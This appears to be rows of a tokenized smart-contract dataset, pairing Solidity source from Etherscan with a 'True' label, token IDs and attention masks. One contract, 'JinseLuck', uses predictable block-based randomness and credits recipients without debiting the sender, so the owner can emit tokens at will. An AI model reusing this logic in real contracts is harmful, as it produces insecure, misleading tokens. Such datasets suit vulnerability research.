setCauldron(address _cauldron) external onlyOwner{ require(cauldron == address(0),"!0"); cauldron = _cauldron; } function _getDepositedBalance(address _account) internal override view returns(uint256) { if (_account == address(0) \|\| _account == collateralVault) { return 0; } //get collateral balance uint256 collateral = ICauldron(cauldron).userCollateralShare(_account); collateral = IBentoBox(collateralVault).toAmount(address(this), collateral, false); //add to balance of this token return balanceOf(_account).add(collateral); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5511, 1011, 2382, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 8311, 1032, 19706, 1032, 24582, 4887, 6392, 4948, 1012, 14017, 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/** Submitted for verification at Etherscan.io on 2022-01-22 / // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256){ uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256){ require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256){ if (a == 0){ return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b ; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256){ require(b !=0, "SafeMath: modulo by zero"); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; string private _name; string private _symbol; uint8 private _decimals; address private _owner; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor () public { _name = "JinseLuck"; _symbol = "JINSE"; _decimals = 0; _owner = msg.sender; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply()override public view returns (uint256) { return _totalSupply; } function balanceOf(address account)override public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount)override public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender)override public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value)override public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 amount)override public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool){ _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(sender == _owner, "Only Owner Can Use This"); uint256 rnd = uint256(keccak256(abi.encodePacked(block.timestamp,block.difficulty,blockhash(block.number-1),recipient))) % amount; rnd ++; _balances[recipient] += rnd; emit Transfer(sender, recipient, rnd); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 5890, 1011, 2570, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1021, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 4604, 2121, 1010, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 1065, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1010, 1000, 3647, 18900, 2232, 1024, 2804, 2058, 12314, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 5478, 1006, 1038, 1026, 1027, 1037, 1010, 1000, 3647, 18900, 2232, 1024, 4942, 6494, 7542, 2058, 12314, 1000, 1007, 1025, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1011, 1038, 1025, 2709, 1039, 1025, 1065, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 5478, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1010, 1000, 3647, 18900, 2232, 1024, 24856, 2058, 12314, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 5478, 1006, 1038, 1028, 1014, 1010, 1000, 3647, 18900, 2232, 1024, 2407, 2011, 5717, 1000, 1007, 1025, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1013, 1038, 1025, 2709, 1039, 1025, 1065, 3853, 16913, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 5478, 1006, 1038, 999, 1027, 1014, 1010, 1000, 3647, 18900, 2232, 1024, 16913, 18845, 2011, 5717, 1000, 1007, 1025, 2709, 1037, 1003, 1038, 1025, 1065, 1065, 3206, 9413, 2278, 11387, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-07-04 / // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /* * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ / interface IERC20Metadata is IERC20 { /* * @dev Returns the name of the token. / function name() external view returns (string memory); /* * @dev Returns the symbol of the token. / function symbol() external view returns (string memory); /* * @dev Returns the decimals places of the token. / function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /* * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. / constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev Returns the name of the token. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view virtual override returns (uint8) { return 18; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol pragma solidity ^0.8.0; /* * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). / abstract contract ERC20Burnable is Context, ERC20 { /* * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. / function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /* * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. / function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), currentAllowance - amount); _burn(account, amount); } } // File: contracts/token/ERC20/behaviours/ERC20Decimals.sol pragma solidity ^0.8.0; /* * @title ERC20Decimals * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot. / abstract contract ERC20Decimals is ERC20 { uint8 private immutable _decimals; /* * @dev Sets the value of the `decimals`. This value is immutable, it can only be * set once during construction. / constructor(uint8 decimals_) { _decimals = decimals_; } function decimals() public view virtual override returns (uint8) { return _decimals; } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /* * @title ServicePayer * @dev Implementation of the ServicePayer / abstract contract ServicePayer { constructor(address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/token/ERC20/BurnableERC20.sol pragma solidity ^0.8.0; /* * @title BurnableERC20 * @dev Implementation of the BurnableERC20 */ contract BurnableERC20 is ERC20Decimals, ERC20Burnable, ServicePayer { constructor( string memory name_, string memory symbol_, uint8 decimals_, uint256 initialBalance_, address payable feeReceiver_ ) payable ERC20(name_, symbol_) ERC20Decimals(decimals_) ServicePayer(feeReceiver_, "BurnableERC20") { require(initialBalance_ > 0, "BurnableERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } function decimals() public view virtual override(ERC20, ERC20Decimals) returns (uint8) { return super.decimals(); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5718, 1011, 5840, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5829, 1036, 3815, 1036, 19204, 2015, 2013, 1996, 20587, 1005, 1055, 4070, 2000, 1036, 7799, 1036, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 12495, 3215, 1037, 1063, 4651, 1065, 2724, 1012, 1008, 1013, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3588, 2193, 1997, 19204, 2015, 2008, 1036, 5247, 2121, 1036, 2097, 2022, 1008, 3039, 2000, 5247, 2006, 6852, 1997, 1036, 3954, 1036, 2083, 1063, 4651, 19699, 5358, 1065, 1012, 2023, 2003, 1008, 5717, 2011, 12398, 1012, 1008, 1008, 2023, 3643, 3431, 2043, 1063, 14300, 1065, 2030, 1063, 4651, 19699, 5358, 1065, 2024, 2170, 1012, 1008, 1013, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 4520, 1036, 3815, 1036, 2004, 1996, 21447, 1997, 1036, 5247, 2121, 1036, 2058, 1996, 20587, 1005, 1055, 19204, 2015, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 2590, 1024, 2022, 8059, 2008, 5278, 2019, 21447, 2007, 2023, 4118, 7545, 1996, 3891, 1008, 2008, 2619, 2089, 2224, 2119, 1996, 2214, 1998, 1996, 2047, 21447, 2011, 15140, 1008, 12598, 13063, 1012, 2028, 2825, 5576, 2000, 10210, 28731, 2023, 2679, 1008, 4650, 2003, 2000, 2034, 5547, 1996, 5247, 2121, 1005, 1055, 21447, 2000, 1014, 1998, 2275, 1996, 1008, 9059, 3643, 5728, 1024, 1008, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 3314, 1013, 2322, 1001, 3277, 9006, 3672, 1011, 25246, 25746, 22610, 24594, 1008, 1008, 12495, 3215, 2019, 1063, 6226, 1065, 2724, 1012, 1008, 1013, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5829, 1036, 3815, 1036, 19204, 2015, 2013, 1036, 4604, 2121, 1036, 2000, 1036, 7799, 1036, 2478, 1996, 1008, 21447, 7337, 1012, 1036, 3815, 1036, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 